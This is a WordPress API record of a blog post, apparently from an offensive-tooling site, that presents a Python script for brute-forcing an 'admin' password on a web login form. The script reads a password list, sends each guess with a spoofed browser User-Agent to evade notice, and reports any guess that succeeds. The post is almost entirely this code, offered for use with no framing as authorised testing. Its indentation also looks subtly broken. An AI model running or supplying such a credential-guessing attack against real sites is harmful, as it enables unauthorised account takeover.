{"id":439,"date":"2024-03-21T23:05:28","date_gmt":"2024-03-22T03:05:28","guid":{"rendered":"https:\/\/offensivepython.com\/?p=439"},"modified":"2024-03-22T09:21:09","modified_gmt":"2024-03-22T13:21:09","slug":"password-guessing-a-web-login-page","status":"publish","type":"post","link":"https:\/\/offensivepython.com\/index.php\/2024\/03\/21\/password-guessing-a-web-login-page\/","title":{"rendered":"Password Guessing a Web Login Page"},"content":{"rendered":"\t\t<div data-elementor-type=\"wp-post\" data-elementor-id=\"439\" class=\"elementor elementor-439\">\n\t\t\t\t<div class=\"elementor-element elementor-element-6a6a61dd e-flex e-con-boxed e-con e-parent\" data-id=\"6a6a61dd\" data-element_type=\"container\" data-e-type=\"container\">\n\t\t\t\t\t<div class=\"e-con-inner\">\n\t\t\t\t<div class=\"elementor-element elementor-element-5b889f26 elementor-widget elementor-widget-text-editor\" data-id=\"5b889f26\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t\t\t\n<p class=\"wp-block-paragraph\">Simple code for attempting to guess admin&#8217;s password for a web form login.<\/p>\n<div>\n<p><strong>from requests import post<\/strong><br \/><br \/># Look like a real browser<br \/><strong>HEADER = {&#8220;User-Agent&#8221;: &#8220;Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko)\u00a0 <\/strong><strong>Chrome\/120.0.0.0 Safari\/537.36&#8243;}<\/strong><br \/><br \/># Read in my password list<br \/><strong>with open(&#8220;passwords.txt&#8221;) as fh:<\/strong><br \/><strong>\u00a0 \u00a0 passwords = fh.readlines()<\/strong><br \/><br \/># Try to guess <br \/><strong>for password in passwords:<\/strong><br \/><strong>\u00a0 \u00a0 post_data = {&#8216;user&#8217;: &#8216;admin&#8217;, &#8216;pass&#8217;: password.rstrip()}<\/strong><br \/><strong>\u00a0 \u00a0 response = post(&#8216;https:\/\/website.com\/loginpage.php&#8217;, post_data, headers=HEADER)<\/strong><br \/><br \/># This message could obviously change, depending on the site<br \/><strong> if &#8216;The login is invalid.&#8217; not in response.text:<\/strong><br \/><strong>\u00a0 \u00a0 print(f&#8221;Guessed! admin\/{password}&#8221;)<\/strong><\/p>\n<\/div>\n\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t","protected":false},"excerpt":{"rendered":"<p>Simple code for attempting to guess admin&#8217;s password for a web form login. from requests import post # Look like a real browserHEADER = {&#8220;User-Agent&#8221;: &#8220;Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko)\u00a0 Chrome\/120.0.0.0 Safari\/537.36&#8243;} # Read in my password listwith open(&#8220;passwords.txt&#8221;) as fh:\u00a0 \u00a0 passwords = fh.readlines() # Try to guess for [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-container-style":"default","site-container-layout":"default","site-sidebar-layout":"default","site-transparent-header":"default","disable-article-header":"default","disable-site-header":"default","disable-site-footer":"default","disable-content-area-spacing":"default","footnotes":""},"categories":[35],"tags":[],"class_list":["post-439","post","type-post","status-publish","format-standard","hentry","category-offensive-tool"],"_links":{"self":[{"href":"https:\/\/offensivepython.com\/index.php\/wp-json\/wp\/v2\/posts\/439","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/offensivepython.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/offensivepython.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/offensivepython.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/offensivepython.com\/index.php\/wp-json\/wp\/v2\/comments?post=439"}],"version-history":[{"count":13,"href":"https:\/\/offensivepython.com\/index.php\/wp-json\/wp\/v2\/posts\/439\/revisions"}],"predecessor-version":[{"id":452,"href":"https:\/\/offensivepython.com\/index.php\/wp-json\/wp\/v2\/posts\/439\/revisions\/452"}],"wp:attachment":[{"href":"https:\/\/offensivepython.com\/index.php\/wp-json\/wp\/v2\/media?parent=439"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/offensivepython.com\/index.php\/wp-json\/wp\/v2\/categories?post=439"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/offensivepython.com\/index.php\/wp-json\/wp\/v2\/tags?post=439"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}